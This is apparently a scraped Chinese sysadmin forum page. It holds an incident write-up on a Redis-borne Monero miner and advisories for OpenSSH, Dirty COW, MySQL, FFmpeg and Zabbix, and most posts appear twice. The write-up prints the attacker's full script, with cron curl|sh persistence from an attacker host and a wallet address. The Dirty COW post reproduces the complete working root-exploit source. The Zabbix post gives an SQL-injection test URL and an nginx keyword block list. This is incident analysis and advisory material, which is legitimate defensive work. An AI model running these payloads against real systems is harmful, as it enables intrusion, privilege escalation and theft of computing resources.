#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

OpenSSH 远程代码执行漏洞安全预警

运维技术Geek小A 发表了文章 • 0 个评论 • 488 次浏览 • 2016-12-22 15:27 • 来自相关话题

概述

12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 

影响范围

OpenSSH 5.0 – 7.3
 

修复方案

请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 

漏洞详情

CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708  查看全部
openssh.png


概述


12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 


影响范围


OpenSSH 5.0 – 7.3
 


修复方案


请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 


漏洞详情


CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708 

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

运维技术Geek小A 发表了文章 • 0 个评论 • 787 次浏览 • 2016-10-21 12:17 • 来自相关话题

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节​

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修改该漏洞

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 查看全部
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/

MySQL远程代码执行漏洞安全预警

运维技术Geek小A 发表了文章 • 0 个评论 • 525 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

FFMpeg和Zabbix暴露的漏洞

运维技术Geek小A 发表了文章 • 0 个评论 • 535 次浏览 • 2016-08-22 18:17 • 来自相关话题

一、FFMpeg缓冲区溢出高危漏洞安全预警

FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 

二、zabbix的SQL注入高危漏洞

近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围:
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1输出结果,出现如下图黄色关键字表示漏洞存在:




 
补充:
以上为仅为漏洞验证测试方式。攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。
 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}
 漏洞详情:
zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82 查看全部


一、FFMpeg缓冲区溢出高危漏洞安全预警


FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 


二、zabbix的SQL注入高危漏洞


近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
输出结果,出现如下图黄色关键字表示漏洞存在:
zabbix_bug.png

 
补充:
  • 以上为仅为漏洞验证测试方式。
  • 攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。
  • 有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
       if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}

 漏洞详情:
